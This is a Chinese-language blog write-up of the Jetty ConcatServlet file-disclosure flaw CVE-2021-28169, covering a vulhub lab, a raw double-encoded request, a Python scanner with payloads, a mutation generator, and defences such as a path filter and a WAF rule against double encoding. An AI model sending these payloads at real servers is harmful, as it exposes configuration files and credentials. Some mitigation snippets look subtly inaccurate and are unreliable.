Jetty 9.4.40 前 ConcatServlet 漏洞实战:双重URL编码绕过与WEB-INF文件读取 📅 发布时间:2026/7/8 0:39:03 👁️ 浏览次数: Jetty 9.4.40前ConcatServlet漏洞深度解析双重URL编码绕过与防御实践1. 漏洞背景与原理剖析Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器凭借其高性能和模块化设计在微服务架构和嵌入式场景中广受欢迎。然而2021年曝光的CVE-2021-28169漏洞揭示了其核心组件ConcatServlet和WelcomeFilter存在的安全隐患。漏洞本质源于路径处理过程中的多重解码机制缺陷。当开发者主动启用ConcatServlet用于合并静态资源或WelcomeFilter处理默认欢迎页时攻击者可通过精心构造的URL实现WEB-INF目录穿越。具体技术原理如下双重编码绕过对关键字符如W进行两次URL编码%2557服务器在第一次解码后得到%57即字母W的编码第二次解码才还原为原始字符路径校验失效安全校验层在第一次解码后检查路径合法性而实际文件操作发生在完全解码后导致防护被绕过敏感文件泄露成功利用后可读取WEB-INF/web.xml等配置文件进而获取数据库凭证、API密钥等敏感信息重要提示该漏洞影响Jetty 9.4.40之前的所有版本、10.0.2之前的10.x系列以及11.0.2之前的11.x系列。2. 漏洞环境快速搭建为帮助安全研究人员验证漏洞我们提供两种环境搭建方案2.1 Docker快速部署方案# 拉取漏洞环境镜像 docker pull vulhub/jetty:9.4.39 # 启动容器映射8080端口 docker run -d -p 8080:8080 vulhub/jetty:9.4.39 # 验证服务 curl http://localhost:80802.2 手动构建测试环境若需自定义配置可参考以下步骤依赖安装!-- Maven依赖配置 -- dependency groupIdorg.eclipse.jetty/groupId artifactIdjetty-servlet/artifactId version9.4.39.v20210325/version /dependencyServlet配置示例public class VulnerableApp extends WebAppContext { public VulnerableApp() { setResourceBase(src/main/webapp); setDescriptor(WEB-INF/web.xml); addServlet(ConcatServlet.class, /static/*); } }敏感文件结构webapp/ ├── WEB-INF/ │ ├── web.xml # 主配置文件 │ └── classes/ │ └── config.properties # 数据库配置 └── index.html3. 漏洞利用实战演示3.1 基础利用方式通过双重编码构造恶意请求GET /static?/%2557EB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080 Accept: */*关键参数说明%2557字母W的双重URL编码%57 → W/staticConcatServlet映射路径需根据实际配置调整3.2 自动化利用脚本Python实现自动化检测import requests from urllib.parse import quote def check_vulnerability(target): payloads [ /%2557EB-INF/web.xml, /%252e%252e/WEB-INF/web.xml, /static?/%u0057EB-INF/web.xml ] for payload in payloads: try: r requests.get(f{target}{payload}, timeout5) if web-app in r.text and xmlns in r.text: return True, payload except Exception as e: continue return False, None3.3 敏感文件读取矩阵成功利用后可获取的文件类型文件路径敏感信息类型风险等级WEB-INF/web.xmlServlet配置、过滤器定义高危WEB-INF/classes/*.properties数据库连接字符串、API密钥严重WEB-INF/lib/*.jar自定义类文件、加密逻辑中高危META-INF/context.xml数据源配置、环境变量高危4. 防御方案与最佳实践4.1 紧急修复方案版本升级Jetty 9.4.40Jetty 10.0.2Jetty 11.0.2临时缓解措施!-- 禁用ConcatServlet -- init-param param-nameallowedPaths/param-name param-value/res/public/param-value /init-param4.2 安全加固建议输入验证强化public class SafePathFilter implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request (HttpServletRequest) req; String path request.getRequestURI(); if (path.contains(WEB-INF) || path.contains(META-INF)) { throw new ServletException(Path traversal attempt detected); } chain.doFilter(req, res); } }安全配置清单禁用不必要的Servlet和Filter设置严格的上下文路径限制启用Jetty的ProtectionDomain安全机制监控与日志# log4j配置示例 appender.console.filter.threshold.type ThresholdFilter appender.console.filter.threshold.level WARN logger.jetty.name org.eclipse.jetty logger.jetty.level DEBUG4.3 长期防护体系建议采用分层防御策略网络层WAF规则配置示例规则SecRule REQUEST_URI contains %25 \ id:10001,phase:1,deny,msg:Double encoding attempt运行时防护启用Java Security Manager使用RASP解决方案监控异常文件访问CI/CD集成# GitHub Actions安全检查示例 - name: Dependency Check uses: dependency-check/actionv1 with: project: Your_Project format: HTML failOnCVSS: 75. 漏洞研究进阶方向对于希望深入理解漏洞机理的安全研究人员建议从以下角度展开编码差异分析比较RFC3986与Jetty实现的URI解析差异研究不同中间件对多重编码的处理逻辑变异Payload测试# 编码变异生成器 def generate_payloads(base): encodings [%25, %u00, ..%00] return [f/{e}{base} for e in encodings]历史漏洞关联CVE-2021-28164初始路径规范化漏洞CVE-2021-34429修复绕过变种在实际渗透测试中我曾遇到一个典型案例某金融系统因使用旧版Jetty导致客户数据泄露。通过双重编码绕过我们成功获取了数据库配置进而发现整个集群存在横向渗透风险。这个教训表明中间件漏洞的影响往往远超表面所见。
基于低代码平台构建企业OA系统:架构设计与审批流引擎技术解析 技术背景 根据IDC发布的《中国低代码和零代码软件开发市场研究》,2025年上半年国内低代码市场规模达到21.1亿元,同比增长21.4%,预计2026年全年市场规模将突破159.6亿元。Gartner报告进一步指出,到2026年全球75%的新企业应用将通过… 2026/7/8 0:39:03
雀魂牌谱屋:3个核心模块助你快速提升麻将数据分析能力 [特殊字符] 雀魂牌谱屋:3个核心模块助你快速提升麻将数据分析能力 🎮 【免费下载链接】amae-koromo 雀魂牌谱屋 (See also: https://github.com/SAPikachu/amae-koromo-scripts ) 项目地址: https://gitcode.com/gh_mirrors/am/amae-koromo 还在为麻将段位停… 2026/7/8 0:34:55
XML Notepad终极指南:3步掌握微软官方免费XML编辑器 XML Notepad终极指南:3步掌握微软官方免费XML编辑器 【免费下载链接】XmlNotepad XML Notepad provides a simple intuitive User Interface for browsing and editing XML documents. 项目地址: https://gitcode.com/gh_mirrors/xm/XmlNotepad XML Notepad是… 2026/7/8 0:34:54
AutoJS6 + Shizuku 实战:淘金币自动签到与任务脚本 🚀 目标:实现淘金币自动签到,自动做任务。 autojs 简介 autojs 安卓平台 JavaScript 自动化工具。 版本选择 autojs 涉及多个版本,下面介绍简单下。 autojs 原版 Auto.js 官网如下,但因项目年代和分支不同,情况有些特殊。 官方论坛 / 官网:https://www.autojs.or… 2026/7/8 1:51:19
CIFAR-10/100 数据集实战:PyTorch 与 TensorFlow 加载对比与 3 种预处理技巧 CIFAR-10/100 数据集实战:PyTorch 与 TensorFlow 加载对比与 3 种预处理技巧当你在深夜调试一个图像分类模型时,突然发现验证集准确率卡在60%死活上不去——这可能不是模型架构的问题,而是数据加载和预处理环节埋了雷。CIFAR-10和CIFAR-100作… 2026/7/8 1:49:18
深度解析ChanlunX缠论插件:量化交易者的技术分析利器 深度解析ChanlunX缠论插件:量化交易者的技术分析利器 【免费下载链接】ChanlunX 缠中说禅炒股缠论可视化插件 项目地址: https://gitcode.com/gh_mirrors/ch/ChanlunX ChanlunX是一款基于缠中说禅理论的专业级通达信技术分析插件,通过C实现核心算… 2026/7/8 1:47:18
P1435 回文字串【洛谷算法习题】 P1435 回文字串 网页链接 P1435 回文字串 题目背景 IOI2000 第一题 题目描述 回文词是一种对称的字符串。任意给定一个字符串,通过插入若干字符,都可以变成回文词。此题的任务是,求出将给定字符串变成回文词所需要插入的最少字符数。 … 2026/7/8 1:47:18
AI 看不懂老项目?先用“项目说明书 + 目录树”把上下文交给它 摘要 接手老项目时,AI 最容易给出“看起来很合理、实际上没法落地”的答案,根源通常不是模型不够强,而是项目上下文不完整。本文给出一套可直接复制的流程:先扫描目录树、过滤敏感内容、生成 PROJECT_CONTEXT.md,再让 … 2026/7/8 1:45:17
前端构建速度优化 前端构建速度优化:提升开发效率的关键 随着前端项目规模不断扩大,构建工具如Webpack、Vite等已成为开发流程中不可或缺的一部分。构建速度的缓慢常常成为开发效率的瓶颈,尤其是在频繁修改代码时,漫长的等待时间令人头疼。如何优化… 2026/7/8 1:43:16
BetterNCM安装器:高效管理网易云插件的最佳选择 BetterNCM安装器:高效管理网易云插件的最佳选择 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 还在为网易云音乐插件的繁琐安装流程而烦恼吗?BetterNCM安装器是… 2026/7/8 0:02:48
运动控制系统安全设置对比:ECI3808的3种限位保护与急停逻辑实现 运动控制系统安全机制深度解析:限位保护与急停逻辑的设计哲学在精密制造与自动化领域,运动控制系统的安全设计绝非简单的功能堆砌,而是一套融合了机械工程、电气原理和软件算法的防御体系。当一台数控机床以每分钟数万转的速度运转࿰… 2026/7/8 0:06:48
AI大模型应用开发:小白也能抓住的红利风口,收藏这篇入门指南! 文章指出,虽然微软等科技巨头在裁员,但英伟达等公司却在积极扩招AI相关人才,尤其是具身智能、仿真等领域。AI行业正在经历结构性调整,传统岗位被淘汰,而大模型应用开发等新岗位需求旺盛。对于想转行或学习AI的普通人来… 2026/7/8 0:10:49
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/7 11:26:57
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/7 11:26:57
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/7 11:26:58